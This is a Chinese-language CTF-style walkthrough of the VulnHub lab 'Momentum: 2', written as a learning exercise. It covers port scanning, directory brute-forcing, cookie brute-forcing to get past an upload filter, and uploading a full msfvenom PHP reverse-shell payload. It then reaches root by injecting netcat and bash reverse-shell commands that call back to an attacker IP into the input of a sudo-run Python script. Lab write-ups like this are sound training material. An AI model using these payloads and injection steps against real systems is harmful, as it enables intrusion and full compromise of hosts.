vulnhub靶场—————Momentum:2

总体目标:

        掌握 单个目标机 渗透思路


本期内容:

靶场地址:Momentum: 2 ~ VulnHubicon-default.png?t=N7T8https://www.vulnhub.com/entry/momentum-2,702/靶场截图:

总体思路: 信息收集        漏洞发现利用        权限获取        目的达成

具体实现:

  • nmap 主机发现,端口扫描
  • dirsearch 文件 目录 爆破
  • metasploit生成PHP 反弹shell文件
  • 修改POST请求,添加cookie secure字段,上传PHP反弹shell文件
  • 利用cookie-gen.py的输入bash shell netcat 反弹shell,进行攻击提权
  • 获得root权限,达成目的 

打靶记录:

信息收集

  1. 主机发现,端口扫描        目标机IP:165  ,开放22 80端口,对应 ssh web服务   
    nmap -sS 192.168.178.0/24

  2. 目录爆破 , 常见类型文件爆破 , 发现 /js dashborad.html

    dirsearch -u http://192.168.178.165 -e txt,php,html,asp,js,bak -w /home/kali/Desktop/main.txt
    // dirsearch 默认同时爆破文件和目录 , -e 添加我们想要的文件类型扩展名
    
    
    发现如下目录和文件:
        /js
        /owls
        /ajax.php
        /ajax.php.bak
        /dashboard.html
    具体内容见以下截图:

            如下图,   这是 /dashborad.html , 这是一个 文件上传 界面 ,尝试上传文件 , 发现只能通过txt文件。

        如下图,是 /owls 界面 , 我们上传的文件 会出现在这里。

如下图,这是 /js/main.js ,显示了一段JavaScript代码片段,这段代码是一个函数uploadFile(),它接受一个参数files,该参数应该是一个包含文件对象的数组。
在函数体内,首先检查files的长度是否大于0,如果大于0,则创建一个新的FormData对象,并将第一个文件的路径添加到其中。然后,创建一个新的XMLHttpRequest对象,设置POST方法和ajax文件路径,并打开连接。接着,定义一个onreadystatechange事件处理函数,当状态改变时调用。在这个函数中,判断readyState和status的值,如果都等于200,则表示上传成功;否则,输出错误信息。最后,使用send方法发送数据,如果没有选择文件,则弹出提示框。

        一句话概括:我们点击 upload 时,会执行这段JavaScript代码,向 ajax.php 发送POST 请求 ,通过 响应内容 来判断上传是否成功 ,并回显给用户。

        存在问题:在JavaScript 代码中,我们没有得到 上传文件类型限制 相关代码,因此这个没有用 , 我们可能需要在 ajax.php 中查找 相关代码。

        我们发现 存在 ajax.php.bak , 我们访问/ajax.php.bak  把他下载下来。内容如下:        提示我们:在向 /ajax.php 发起的POST请求中,如果满足以下两点要求,我们就可以上传pdf php txt 文件:

  •         添加字段:Cookie: admin=&G6u@B6uDXMq&Ms
  •   , 但是你需要在末尾添加一个大写字母,得到正确的cookie。我们需要暴力破解,找到这个字母
  •        同时传递数据: secure=val1d

漏洞发现利用

        通过以上分析,我们可以使用burpsuite软件,修改/ajax.php 的POST请求内容,添加cookie字段和数据secure=val1d。利用inturder模块,在cookie字段的末尾添加载荷,尝试26个大写字母,发起攻击,根据响应内容,我们可以得到正确的cookie ,从而上传php脚本。或者,我们直接使用上传php时发起的POST请求,进行以上操作,在cookie正确的,php文件也就被传上去了。

  1. metasploit 生成 php类型的 反弹shell脚本 ,可以在home目录下找到。方法如下:
    use exploit/multi/handler    //使用监听模块
    set payload php/meterpreter/reverse_tcp    //设置攻击载荷:php类型的反弹tcp端口
    show options    //设置 本机IP地址 和 端口
    set LHOST ***
    set LPORT ***
    
    //生成shell.php文件
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.178.160 lport=4444 R>shell.php

        2. 我们在/dashboard.html 中,尝试上传shell.php ,并截获POST请求,添加cookie字段和secuer=val1d 数据 ,使用inturder模块设置载荷进行攻击,得到正确的cookie,从而成功上传shell.php

        上传失败,如下图:

        截获未修改请求,如下图:

POST /ajax.php HTTP/1.1

Host: 192.168.178.165

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------419665543730819513891019064982

Content-Length: 1344

Origin: http://192.168.178.165

Connection: close

Referer: http://192.168.178.165/dashboard.html



-----------------------------419665543730819513891019064982

Content-Disposition: form-data; name="file"; filename="shell.php"

Content-Type: application/x-php



/*<?php /**/ error_reporting(0); $ip = '192.168.178.160'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

-----------------------------419665543730819513891019064982--

        3.接下来,我们添加cookie字段和secure=val1d数据,设置攻击载荷到cookie字段最后。如下图:        注意!Content-Type 字段内容指明了 接受的内容类型 是表单,同时给出了边界字符串(boundary) , 我们在添加 secure=val1d数据时,要注意写出表单的格式。

        添加26个大写字母为payload,点击attack。

        发现在cookie字段末尾 添加 R 时,得到正确的cookie, 响应内容为1,说明shell.php上传成功,与之前JavaScript代码逻辑一致。

        上传成功,如下图:

        4. 在之前 生成shell.php 的metasploit命令行,输入 run  ,开始监听本机4444端口,等待反弹连接。

        此时,我们访问 /owls 路径,点击运行我们刚才上传的shell.php ,即可接收到反弹连接,如下图:        5. 输入以下命令:

shell    //获得目标机shell
whoami    //确定权限
id
//得到有回显的bash shell 方便后续操作
python -c 'import pty; pty.spawn("/bin/bash")'    

        在 /home/athena/user.txt 中我们发现了 第一个 flag,如下图:

权限获取

        现在我们获得了 bash shell ,我们接下来要做的事情是 获得root权限的bash shell 。这往往不是一步可以完成的,我们通常需要借助 /home/ 中的其他用户的bash shell 。比如,我们先获取 athena 用户 的bash shell 。

        1.在 /home/athena/password-reminder.txt 中 ,我们发现了athena的密码:myvulnerableapp*,这里注意的是[Asterisk]是*的意思,绕一些小丸子,也是很正常的。

        2.切换到 athena 用户的 bash shell ,如下图:

        3.进一步提权,发现athena无法执行/bin/bash,那么通过python提权无望了。        但是我们再查看 sudo -l 时,发现提示:可以以root权限执行 /usr/bin/python3 /home/team-tasks/cookie-gen.py        且不需要密码。

        4.我们打开 cookie-gen.py,大致意思:在生成20字符cookie时,为了安全,我们需要输入一段字符 作为seed种子,这个种子会通过shell,写入log.txt中。

        分析:既然我们输入的字符,被shell写入log.txt中,那么,我们此时输入命令,会不会执行?

        5.我们查看 /home/team-tasks/log.txt 的读写权限发现,只有root用户才可以写。而上述代码通过shell向log.txt添加seed,如果我们利用这个shell,反弹shell成功,也一定会具有root权限。

        6.我们执行cookie-gen.py文件, 在输入seed时,输入我们的反弹shell命令。

bash -i >& /dev/tcp/192.168.178.160/4321 0>&1 使用这种bash反弹shell 发现失败

nc 192.168.178.160 4321 -e bin/bash 使用这种 netcat 反弹shell成功,获得root权限。如下图:

python -c 'import pty; pty.spawn("/bin/bash")'
//获得 回显shell  便于消息读取

在 /root/root.txt 发现第二个flag ,至此达成目的。

总结

        通过这一次打靶,我发现了许多问题:

  • dirsearch 字典:需要自己构建,平常多积累,文件和目录都要包括。
  • linux 反弹shell :方式有很多种,利用bash  python  netcat 等,需要都掌握。
  • POST提交表单数据:content-type限制了数据类型,在添加数据时,我们要符合要求。
  • metasploit 生成反弹shell程序 :使用的模块、载荷要记清,程序上传后,run进行监听。

最后希望大家给我点个赞!!!谢谢大家

新手练习,有不当之处,请批评指正

  • 10
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值